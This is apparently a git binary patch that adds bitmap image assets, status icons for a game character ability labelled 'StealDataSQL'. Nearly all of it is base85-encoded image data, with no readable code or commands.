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 HmtX%cMd6Na literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL1.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL1.bmp new file mode 100644 index 0000000000000000000000000000000000000000..378babe74387fedc1ec45ec6fec4d4f296a7d7e0 GIT binary patch literal 18462 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 